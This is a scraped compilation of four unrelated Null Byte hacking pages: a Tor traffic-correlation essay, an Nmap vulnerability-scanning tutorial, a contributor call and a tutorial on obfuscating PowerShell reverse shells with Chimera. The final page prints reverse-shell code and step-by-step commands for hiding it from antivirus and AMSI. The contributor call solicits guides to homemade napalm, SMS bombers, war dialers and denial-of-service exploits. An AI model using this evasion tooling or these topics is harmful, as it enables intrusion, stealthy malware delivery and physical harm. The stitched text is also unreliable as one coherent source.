How to Use Traffic Analysis to Defeat TOR « Null Byte :: WonderHowTo | As was mentioned by the great OTWlast week, TOR, aka The Onion Router, has had its integrity attacked by the NSA. In an attempt to reduce the anonymity granted by the service, the NSA has opened a great many nodes of their own. The purpose is presumably to trace the origin of a communication by compromising some entrance and exit nodes. Once both are compromised, it is much easier to correlate traffic with a particular individual.This is hardly the first attack against TOR, but the question many may wonder is how this attack actually works, and better yet, what methods exist that do not require a billion dollar budget and a horde of computer specialists. As I have a fondness for probability and computers, I thought I would try to help explain how a correlation attack works, how long it takes for a positive identification, what other types of attacks exist, and finally, how to defend yourself.What Is TOR?You can hardly attack a system you don't understand. So understanding how TOR works is paramount to understanding how it is attacked.TOR is an anonymizing service that uses multiple hops to obfuscate both origination and endpoint of a particular internet communication. In essence, its purpose is to ensure that no one can look at any packet of a particular transmission and read both the sender and its destination.It accomplishes this task by scrubbing a packet of identifying information, and then creating multiple layers of encrypted routing instructions. The purpose is to ensure that at all hops, only the outermost layer of routing information is view-able. This next poorly drawn image I made in MSPaint should help visualization.All TOR routes are made up of three hops which include two relays and an exit node. Traffic can only leave the system through an exit node. All traffic leaving the exit node is unencrypted.Note that each packet is encrypted in its entirety for each layer of encryption. So even if someone could analyze the packets from each relay, short of breaking the encryption algorithm (RSA in this case), you cannot simply follow a packet by how it looks. If the relays are not busy, an attacker (Oscar) could attempt to use packet counting in order to find the identity of the person Bob is communicating with, but in general, most nodes are too busy to be attacked this way easily.So what is this traffic conformation attack we are worried about?Simple Traffic Conformation & Bayesian MathSuppose we were in a large crowded room with a lot of talking people. Further, suppose that all people were standing in a big circle and looked only at the center of the room while speaking. How could you determine whom was speaking to whom among this rude bunch?Most people may try to use names, but if names are never mentioned (or alternately, everyone used pseudonyms), then you would have to rely upon other methods. The most common method being the statistical method.If we were going to identify who was talking to who, we might want to consider looking at when they are communicating and who else is communicating at roughly the same time (or slightly after).For example, we generally assume that when someone stops speaking, they will stop and wait to listen to what the other person wants to say before they continue. If we pay attention to the right two people long enough, we will eventually come to the conclusion that they are speaking to each other by simply observing their patterns of starting and stopping communication. We may not understand what they are saying (they may speak a different language), but we still can know, statistically, that they are speaking to each other.This is an example of traffic confirmation. It is most commonly used when someone is already of the suspicion that two people (or a person and a server) are communicating.With respect to the TOR network, the most dreaded fear users have is the idea that both the entrance relay (labeled 1 above) and the exit node are monitored. The only thing worse than this would be if every relay was corrupted along the path. However, as tracking packets would be trivial in that circumstance, I shall ignore it here. It is well known that if both the entrance and exit nodes are compromised, then is becomes easy to use traffic conformation to link two people. This is done with statistical methods like Bayesian probability.The above is the famous Bayes' Theorem. There are many uses for it. My favorite being iterative evidence gathering. It is rare in real life to gather that one perfect clue that tells you exactly what happened somewhere.For example, a police officer is not always going to be presented with a sweater with the name Arnold stitched into it and the victim's blood covered all over it. Sure, sometimes it happens, but more likely he will gather some evidence that suggests a small pool of possible offenders, and then more evidence shortening that pool, and eventually some more evidence that closes in on the murderer.Bayes' Theorem works exactly like this as well. You start with some initial probabilities, and then use the equation to find theposteriorprobability (the probability of something happening given the evidence). Then you update the probabilities and run the equation again should you find more evidence. Given enough iterations, it will eventually tell you what the probability is that something is occurring. This kind of math can be exploited for traffic conformation.First, we must be sure we define our problem correctly as Bayes' Theorem will not work unless we do. Toward this end, we shall defineAto be "Bob is communicating with Alice" and B will be "Bob sent packets right before Oscar Intercepted them at Node 3". Note a few complications though we must keep in mind.The first thing is that there are more relays in the system than the ones Oscar is controlling. While Oscar controls enough to be sure of where Bob is sending, and to be sure from where Alice is receiving, neither piece gives him enough information to tie Bob and Alice together.For example, Bob could be communicating with another exit node through the middle node that Oscar is not surveilling. Likewise, Alice could be receiving from another relay that is communicating through the middle relay. In a busy network (and TOR is very busy), no one packet can give all the information you need. What we do have though is a very good idea of how to estimate our prior probabilities.I am not going to go into detail how I came up with these probabilities except to say that I based them off of naive notions so as to create the most unbiased and weak model I could make. Then I over simplified a lot. The simplifications I made are:I assumed all relays are chosen randomly (an okay assumption).I assumed that all packets sent through relay 3 were captured and correlated properly. i.e. there is no error.I assumed we could determine with some ease the amount of delay so that there was no error in correlating Bob's packets with Alice's.As can be determined from my previous two assumptions, I assumed that latency is more or less constant or predictable.These simplifications make the resultant model both easier to understand, and excessively powerful. In real life, there are more variables than I tried to show, but this is good enough to demonstrate. I sat down and wrote a Python program that creates a method called BayesCorr() that can estimate the exact probability given the parameters relay number, exit node number, and packet count. The image below shows results for 5, 10, 15 and 20 packets with 3200 relays and 900 exit nodes.And this is my source code:BayesCorr FunctionNote: I have never used that website before and am not sure how long my document will persist.As you can see, the more packets that we capture and correlate, the more sure we are that we know who is communicating. How sure we need to be will depend on our circumstances of course.ComplicationsUltimately the biggest problem with my model is its insistence that the world is perfect and predictable in its entirety. This is obviously wrong.In real life, latency varies all the time as a function of network traffic. This network traffic is itself a function of time of day, location of the relay, popularity of said relay, the load a relay's ISP is suffering under, and the alignment of the stars.Okay, I made that last one up.Furthermore, we cannot honestly believe that whatever criteria we use to filter packets from the entrance and exit nodes will be perfect and capture every communique. Even if we could guarantee that, with latency varying all the time, it is hard to be certain which packet coming from node 2 originated in node 1.All of this means a lot of things, but mostly it means that when I estimated P(B|A) = 1, I didn't just make a mistake, but I committed a math crime punishable by death. In reality, this probability will be lower. Most importantly, this probability is so difficult to estimate, I would actually suggest trying to measure this parameter. Basically, whatever software you are using to capture packets (look at OTW'stutorials on Snortfor an example), and whatever method you are using to estimate latency in order to assist in matching will have a certain error rate. I would suggest running your programs under as real a set of conditions you can muster, and discover how many errors it makes.In general, this is a better idea than naive estimation. I still contend that my example has its uses, if for nothing else but illustration.Other Attacks on TORThe biggest problem with this attack is that unless we happen to have a large multi-billion dollar budget, it is hard to get enough servers and bandwidth to get a lot of nodes on the TOR network. This means that our chances of actually getting both the entrance and exit nodes are slim at best. So while a government could afford to do this, we, as normal everyday people cannot.The first bright side is that the correlation attack above can work even without having both nodes compromised. However, the amount of traffic that passes through ordinary routers or MITM machines is too high for much accuracy. Indeed, what makes the node attack so effective is the fact that basically all traffic of interest is sent to you, and generally only traffic of interest.A better attack for the average hacker is the latency attack. Suppose a hacker has a small botnet. This Botnet is not necessarily large enough to bring someone down, but it could slow their systems in order to increase latency.Once the hacker Oscar begins introducing latency, he simply needs to observe the latency in different nodes by trying to connect through them. Alternatively, the botnet could attack the nodes while observing Alice for the same effect.Once the whole path is traced, Oscar could then read incoming and outgoing packets from node one, and then perform the same latency attack while observing everyone on node one. If they are slowed down, they are clearly communicating with Alice. Otherwise, Oscar keeps going until he finds the identity of the communicator (Bob).To speed this attack up, Oscar can attack half the relays at a time in order to determine which nodes are being used. Then he simply splits each group in half while eliminating the ineffective portion. Eventually he will find the path. From there he can once again find Bob using the same strategy.Lastly, Oscar could try to take advantage of non-anonymized traffic. He can either look for this traffic in the wild, or attempt to induce it. In the latter case, Oscar could try to inject an exploit into the unencrypted return stream from Alice to Bob. Assuming Bob is vulnerable, Oscar could force Bob to broadcast his IP address through the TOR route. Oscar can now pick up the information in the clear.Note that this method is unlikely to work unless Oscar already has an idea who is communicating with Alice (and has done recon on Bob), or Oscar's exploit is widespread and unpatched.Protecting YourselfSadly, there is little you can do to protect yourself from a determined hacker or a sophisticated government. These attacks hurt not just TOR, but any low latency system out there like Garlic routing. There are some guidelines though to make tracing you harder.Use a proxyin additionto TOR.Limit your time communicating through TOR. Remember, it took 20 packets to get to 95% confidence, and that assumed perfect conditions.Use busy nodes if possible.Look for odd behavior. I made it seem like a latency attack is like quick lightning, but ultimately it is about as fast per step as regular correlation attacks. If your internet is speeding up and slowing down regularly, try switching nodes.Keep your computer up to date! Do not ignore an update just because it is inconvenient.Luck is always welcome when it comes down to it.Thanks for ReadingI am done. Thank you for reading this extremely long post. As always, I would appreciate feedback in the comments section.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image fromWikipediaRelatedHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebHow To:Access the Dark Web While Staying Anonymous with TorHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHow To:Use Private Encrypted Messaging Over TorThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Tor for Android:How to Stay Anonymous on Your PhoneHack Like a Pro:How to Evade Detection Using ProxychainsHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Hack TOR Hidden ServicesNews:Use ProtonMail More Securely Through the Tor NetworkNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Become Anonymous on the Internet Using TorNews:Anonymity Networks. Don't use one, use all of them!Tor vs. I2P:The Great Onion DebateAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosNews:The Basics Of Website MarketingNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'News:Make an "On/Off" Tor Button for ChromeEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:Cybord VirusNews:Remove Adobe 30 Day CS4 Trial LimitNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Get the 'Mind Over Matter' Achievement |
Hack Like a Pro: Using the Nmap Scripting Engine (NSE) for Reconnaissance « Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!Those of you who have been reading my posts here for awhile know how much I emphasizegood reconnaissance. Novice hackers often jump into a hack/exploit without doing proper recon and either fail or get caught. Experienced and expert hackers know that 70-80 percent of a good and successful hack is dependent upon successful and accurate reconnaissance.I know I have said it before, but bear with me as I say it again for the newcomers. There is NO SILVER BULLET that succeeds under all circumstances. Long before we ever begin the hack, we have spent hours, days, and maybe months doing reconnaissance. If you aren't willing to do that, you will never be successful in this field of endeavor.Nmap is one of the few tools that every hacker should be conversant in. Although it is not perfect, it is excellent foractive reconnaissance. AlthoughI discourage the use of Windows for hacking, Nmap does have a version for Windows with a nice GUI calledZenmap. You can download ithere.Nmap Scripting Engine (NSE)I have donea coupleof tutorialson using Nmap, but one thing I have not covered is the scripting engine built into it.The Nmap scripting engine is one of Nmap's most powerful and, at the same time, most flexible features. It allows users to write their own scripts and share these scripts with other users for the purposes of networking, reconnaissance, etc. These scripts can be used for:Network discoveryMore sophisticated and accurate OS version detectionVulnerability detectionBackdoor detectionVulnerability exploitationIn this tutorial, we will look at the scripts that have been shared and are built intoKali(we will write scripts in a future tutorial), and will examine how to use them to do thorough recon on our target, to increase the possibility of success, and reduce the possibilities of frustration... or worse.Step 1: Fire Up Kali & Open a TerminalAs usual, let's start by firing up Kali and opening a terminal. If you aren't using Kali, but instead one of the many hacking/security distributions suchBuqtraq's Black Window,Security Onion,BackTrack, or another, no problem—Nmap is built into ALL of them. You can't really have a security/hacking platform without Nmap.Step 2: Find the Nmap ScriptsFrom the terminal, let's look for the Nmap scripts. All of the scripts should end in.nse(nmap scripting engine), so we can find the scripts by using the Linux locate command with the wildcard*.nse. That should find all files ending in.nse.kali > locate *.nseAs you can see in the screenshot above, our terminal displays hundreds of Nmap scripts.Step 3: Finding Vulnerability Scanning ScriptsAmong the most useful to us are the vulnerability scanning scripts. These scripts are usually designed to find a specific vulnerability or type of vulnerability that we can then come back later and exploit. To locate those scripts that we can use for vulnerability scanning, we can type:kali> locate *vuln*.nseAs you can see, it returned a few vulnerability scanning scripts. I have highlighted one I want to use next, namelysmb-check-vulns.nse. This script will check the system to see whether it has any of the well-known SMB vulnerabilities such asMS08-067.Step 4: Running the ScriptThe basic syntax for running these scripts is this:nmap --script <scriptname> <host ip>Let's try running the SMB vulnerability checking script against an internal LAN host.kali> nmap --script smb-check-vulns-nse 192.168.1.121When we do so, we can see that it returns some errors and suggests that we add--script-args=unsafe=1to our command. I did so below and, in this case, added-p445so that the script focuses upon just the SMB port 445.kali> nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p445 192.168.1.121Now, when I run the command, I get much more useful results.As you can see, it tells me that MS08-067 is vulnerable, so now I know I can use that module inMetasploitto exploit that system!Step 5: Getting Help with a ScriptWith these hundreds of scripts, we may need some help in determining what they do and how they work. For instance, if we scroll down to the "http" section of the scripts, we will see a script named:http-vuln-cve2013-0156.nseTo determine what this script does, we can retrieve its help file by typing:nmap -script-help http-vuln-cve2013-0156.nseWhen we do so, we will retrieve its help file like that below.Note that this script is designed to find the CVE2013-0156 vulnerability, which is a vulnerability in Ruby on Rails. Ruby on Rails is very popular open-source web design framework that is behind millions of database driven web apps, so this vulnerability is likely to still be out there in thousands of websites. Happy hunting!The Nmap scripting engine is a powerful item in our arsenal of hacking tools that can be tailored to a multitude of tasks. In future posts, I will explore more of its capabilities and show you how to write your own Nmap scripts. So keep coming back, my tenderfoot hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Easily Detect CVEs with Nmap ScriptsHow To:Get Started Writing Your Own NSE Scripts for NmapAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:Scripting for the Aspiring Hacker, Part 2 (Conditional Statements)How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Don't Be a Script-Kiddie part2:Building an Auto-Exploiter Bash ScriptHack Like a Pro:Advanced Nmap for ReconnaissanceHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2How to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Advanced Penetration Testing - Part 1 (Introduction)How To:Identify Web Application Firewalls with Wafw00f & NmapDissecting Nmap:Part 1Hack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)How To:Automate Brute-Force Attacks for Nmap ScansHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesVideo:How to Use Maltego to Research & Mine Data Like an AnalystNews:Banks Around the World Hit with Repeated DDoS Attacks!Hacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 2 (Building a Port Scanner)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:Use the Nmap security toolHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Cheat Engine for FarmVille - The Definitive GuideWATCH THIS INSTEAD:No Strings AttachedHow To:A Gamer's Guide to Video Game Software, Part 1: Unity 3D |
Weekend Homework: How to Become a Null Byte Contributor (1/12/2012) « Null Byte :: WonderHowTo | We're officially seeking Null Byters on a weekly basis who are willing to take the time to educate the community. Contributors will write tutorials, which will be featured on the Null Byte blog, as well as the front page of WonderHowTo (IF up to par, of course). There is no need to be intimidated if you fear you lack the writing skills. I will edit your drafts if necessary and get them looking top-notch! You can write tutorials of any skill level, about anything you feel like sharing that is related to tech, hacking, psychology and social manipulation, or whatever other life hacks that you think mesh with our community.Can I Help in Another Way?This isn't inclusive of tutorials, even if you simply post useful links and articles to thecorkboard, you are doing the community ahugefavor, because at some point, someone will need the information you have provided. Let's continue to make Null Byte the bestforumever by stuffing it with the latest and greatest hacking tutorials and topics.If you have skills and want to share knowledge on any of the topics below, please leave a response in a comments with which topic you would like to write,post directly to the corkboard, or message me privately. If you have any additional ideasat all, please submit them below.This Weeks TopicsHow to Perform Buffer Overflow Exploits(Sol Gates, Pending)—Teach how to perform a basic buffer overflow exploit on any program of your choice. A video must be recorded of the overflow (due to sheer complexity of the exploit).Create a GoogleBot with Python & LurkLib(Frage Herpington, Pending)—Demonstrate how to create a bot to return Google search results using Lurklib, byLK-.How to Nmap from Behind a Proxy—Teach users how to Nmap from behind a proxy to mask traffic. I would also love if you added in BASH proxying, since the two are similar.Guide to Asking Questions—Teach the new Null Byters how to ask questions and what we expect before being asked a question (the person researched the topic beforehand, isn't just being lazy, etc).How to Make Homemade Napalm(The Bird AndBear, Pending)—Teach users how to make Napalm with home supplies. If you need to know how it's done, just ask me.How to Code a War Dialer in Python Using Gvoice API—Again, if anyone needs the concepts, just ask me how and I will tell you how it's done and help you when you need it. Create a program to call people using Google voice and hang up (major points if you can push audio through from a local sound file when they pick up!).How to DOS Attack a Windows Media Share—Code an exploit to engage in a DOS attack against a Windows box running a media share. A successful DOS is when legitimate users cannot use the resources. This is simpler than you may think, inquire for details for proof-of-concept.Learn How to Make a USB Hacksaw(Mr F)—Make a guide on how to create a USB hacksaw, which is a PnP USB device that copies sensitive files from the host machine automatically.Guide to Binary Numbers(Mr F)—This guide should explain how binary works, hex conversion, decimal, and more. Explain the importance of them and their roles in computing.A Brief Overview of Hacking History—Drop a few of the big names and people who started it all in a short outline of what hackers are and where they come from. Name some big time exploits and hacking stories to make it interesting.Create an SMS Bomber with the Gvoice API—Teach users how to code a SMS spammer/bomber in Python. Bonus points if you make it threaded. You can use libraries, but a tip of my hat to those who don't.A Simple Port Scanner in Python—Educate the forum on how to create a port scanner in the Python programming language. You should teach the concepts behind port scanning before you get into the code portion of it. If you add SYN stealth scanning to it, you're extra cool.How to Remove Windows Viruses with Linux(Mr F)—Make a tutorial on how to use clamav to remove Windows viruses using Linux. You should explain why we would use this and what situations that this would be helpful in.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viashannonkodonnelRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Weekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (03/21 - 03/27)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (02/22 - 02/28)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (01/25 - 01/31)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (03/07 - 03/13)How To:Things to Do on WonderHowTo (11/23 - 11/29)Farewell Byte:Goodbye Alex, Welcome AllenNews:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?How To:Things to Do on WonderHowTo (02/29 - 03/06)News:Ni No Kuni Coming To The US!News:A New Ink & Paint!How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Null CommunityA Null Byte Call to Arms:Join the Fight Against IgnoranceNews:2012 Film Festival Submission DeadlinesHow To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Things to Do on WonderHowTo (11/30 - 12/06)How To:Things to Do on WonderHowTo (03/14 - 03/20)How To:Things to Do on WonderHowTo (01/04 - 01/10)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game Save |
Hacking Windows 10: How to Bypass VirusTotal & AMSI Detection Signatures with Chimera « Null Byte :: WonderHowTo | Microsoft's built-in antimalware solution does its best to prevent common attacks. Unfortunately for Windows 10 users, evading detection requires almost no effort at all. An attacker armed with this knowledge will easily bypass security software using any number of tools.As Microsoft's antimalware solution is Windows 10's first line of defense, it's the subject ofa lotofexcellentsecurityresearch. This article will provide a brief introduction to how attackers will evade it entirely.What Is Antimalware Scan Interface (AMSI)?The backbone of Microsoft's antimalware, introduced inWindows 10, is the Windows Antimalware Scan Interface, or AMSI. Antivirus applications, including Windows Defender, can call its set of APIs to request a scan for malicious software, scripts, and other content. To describe it briefly, let's look atMicrosoft's definition:The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.In the below screenshot, the attacker is downloading a script ("shell.ps1") containing nefarious code to invoke a connection to a remote server immediately. When attempting to execute PowerShell scripts in this way, AMSI will use signature-based detection to identify malicious activity.Below is an image of the same script being used after some obfuscation. Windows 10 has no issues executing it. An arbitrary message is printed in the terminal as a connection is established to the attacker's server.Don't Miss:Use Microsoft.com Domains to Host PayloadsHow Chimera WorksChimerais a PowerShell obfuscation script that I created to bypass Microsoft's AMSI as well as commercial antivirus solutions. It digests malicious PowerShell scripts known to trigger antivirus software and uses simple string substitution and variable concatenation to evade common detection signatures. Below is an example of Chimera at work.The following is a snippet ofInvoke-PowerShellTcp.ps1, the same "shell.ps1" script that previously triggered AMSI.$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)VirusTotal reports25 detectionsof the script (shown below). This is no surprise, as Invoke-PowerShellTcp.ps1 is incredibly popular.Here's there very same snippet, after being processed by Chimera:# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.
# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.VirusTotal reports0 detectionsof the obfuscated version.While I've uploaded a sample to VirusTotal, this is a very bad practice. As stated in itsPrivacy Policy:All partners receive Samples that their antivirus engines did not detect as potentially harmful if the same Sample was detected as malicious by at least one other partner's antivirus engine. This information sharing helps correct potential vulnerabilities across the security industry.In simpler words, if just one antivirus engine detects a file created by Chimera, the file is distributed to over 75 antivirus companies. So don't upload files — created by any obfuscation tool — to VirusTotal. Instead, use a local, offline Windows 10 VM with antivirus solutions installed. This way, if a file is detected, it won't be distributed to every significant security company on the planet.Step 1: Clone the Chimera RepositoryTo get started withChimera, use the following command to update the APT repository and install the required dependencies that Chimera needs to operate correctly.~$ sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
[sudo] password for user:
Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
coreutils is already the newest version (8.30-3+b1).
curl is already the newest version (7.68.0-1+b1).
curl set to manually installed.
gawk is already the newest version (1:5.0.1+dfsg-1).
gawk set to manually installed.
grep is already the newest version (3.4-1).
libc-bin is already the newest version (2.31-2).
perl is already the newest version (5.30.3-4).
sed is already the newest version (4.7-1).
xxd is already the newest version (2:8.2.0716-3).
The following additional packages will be installed:
libjq1 (1.6-1)
libonig5 (6.9.5-2)
The following NEW packages will be installed:
jq (1.6-1)
libjq1 (1.6-1)
libonig5 (6.9.5-2)
0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
Need to get 378 kB of archives.Then, clone my Chimera repository with thegit clonecommand. I'm putting it in my /opt/chimera directory as seen below.~$ sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
Cloning into '/opt/chimera'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 16 (delta 0), reused 16 (delta 0), pack-reused 0
Unpacking objects: 100% (16/16), 805.04 KiB | 1.79 MiB/s, done.Next, recursively (-R) modify the ownership of the directory to make the files accessible without root privileges.~$ sudo chown $USER:$USER -R /opt/chimera/Now, change (cd) into the new/opt/chimeradirectory.~$ cd /opt/chimera/And elevate the permissions of thechimera.shscript to allow execution in Kali./opt/chimera$ sudo chmod +x chimera.shFinally, to view the available options, execute Chimera with the--helpargument./opt/chimera$ ./chimera.sh --help
░ ./chimera --file powershell.ps1 --all --output /tmp/payload.ps1
files:
-f, --file powershell file.ps1 to obfuscate
-o, --output override default output file location
options:
-a, --all same as: -l 0 -v -t -c -i -p -h -s -b -j -k -e
-l, --level level of string manipulation (0=random,1=low,
2=med,3=high,4=higher,5=insane. default: 0)
-v, --variables replace variables with arbitrary strings,
use -v </usr/share/dict/words> to utilize
custom wordlist as variable name substitutions
-t, --typedata replace data types with arbitrary strings (e.g.,
System.IO.StreamWriter). use -t <string,string> to
include more
-c, --comments replace comments with arbitrary strings
use -c <custom_comments.txt> to utillized custom
text instead of random strings
-i, --insert insert arbitrary comments into every line
-h, --hex convert ip addresses to hexidecimal values
-s, --string obfuscate provided strings, use -s <getstream,getstring>
-b, --backticks insert backticks into provided string, e.g., ne`w`-OB`je`cT
-j, --functions replace function names with arbitrary strings
-d, --decimal convert obfuscated payload to decimal format
improves AMSI evasion; increases AV detection
-g, --nishang remove nishang-specific characteristics
-k, --keywords search obfuscated output for words that may trigger
AV/VT. By default searches for common words (backdoor,
payload,nishang), use -k <word,word> to include more
-r, --random randomize character punctuation
-p, --prepend prepend random number of spaces to lines
misc:
-e, --examine preview snippets of output file contents
-q, --quiet supress non-essential messages
-z, --no-art if you hate awesome ascii art
--help you're looking at itStep 2: Obfuscate a PowerShell ScriptIn the shells/ directory are severalNishang scriptsand a few generic ones. All have been tested and are working. However, there's no telling how untested scripts will reproduce with Chimera. It's recommended to use only the included shells./opt/chimera$ ls -laR shells/
shells/:
total 60
-rwxrwx--- 1 user user 1727 Aug 29 22:02 generic1.ps1
